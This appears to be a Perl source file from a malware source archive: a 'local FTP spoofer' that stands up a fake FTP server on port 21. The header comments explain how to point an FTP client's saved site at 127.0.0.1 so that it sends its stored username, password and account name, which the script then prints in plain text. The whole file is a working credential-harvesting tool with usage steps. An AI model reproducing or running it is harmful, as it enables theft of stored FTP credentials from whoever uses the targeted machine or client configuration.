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vxug-MalwareSourceCode/Perl/Spoofer.Perl.Nicl
2020-10-09 21:59:39 -05:00

73 lines
2.0 KiB
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# This is a simple tcp server that listens on port 21
# unless another is specified.
# The possible uses of this are;
# Ftp has no encryption for passwords and they are
# sent in plain text under the right conditions.
# Most ftp programs have a text file called <program-name>.ini
# which will store the info like site-name, user-name, encrypted
# password and account-name. Instead of trying to decrypt the
# password for each different application (ws_ftp etc)
# do this.
# Edit the <program-name>.ini
# Wherever there is a site-name change it to 127.0.0.1
# Start your this perl scipt
# Open your ftp program and click connect
# Most of this coding was already in the /perl/eg/ folder
# you can find the orginal version there ..
print "===========================\n";
print " Manicx local FTP spoofer\n";
print " www.infowar.co.uk/manicx/\n";
print "===========================\n";
($port) = @ARGV;
$port = 21 unless $port; # Are port is 21 unless specified
$AF_INET = 2;
$SOCK_STREAM = 1;
$sockaddr = 'S n a4 x8';
($name, $aliases, $proto) = getprotobyname('tcp');
if ($port !~ /^\d+$/) { ($name, $aliases, $port) = getservbyport($port, 'tcp');}
print "Port = $port\n";
$this = pack($sockaddr, $AF_INET, $port, "\0\0\0\0");
select(NS); $| = 1; select(stdout);
socket(S, $AF_INET, $SOCK_STREAM, $proto) || die "socket: $!";
bind(S,$this) || die "bind: $!";
listen(S,5) || die "connect: $!";
select(S); $| = 1; select(stdout);
print "Listening for connection..\n";
($addr = accept(NS,S)) || die $!;
print "Accept ok\n";
($af,$port,$inetaddr) = unpack($sockaddr,$addr);
@inetaddr = unpack('C4',$inetaddr);
print NS "220\n"; # We are ok for login (send username)
$user = <NS>;
print $user;
print NS "331\n"; # user ok send password
$pass = <NS>;
print $pass;
print NS "331\n"; # password ok send account
$acco = <NS>;
print $acco;
print NS "200\n"; # account ok send what you want.
$resp = <NS>;
print $resp;
print NS "451\n"; # bye bye baby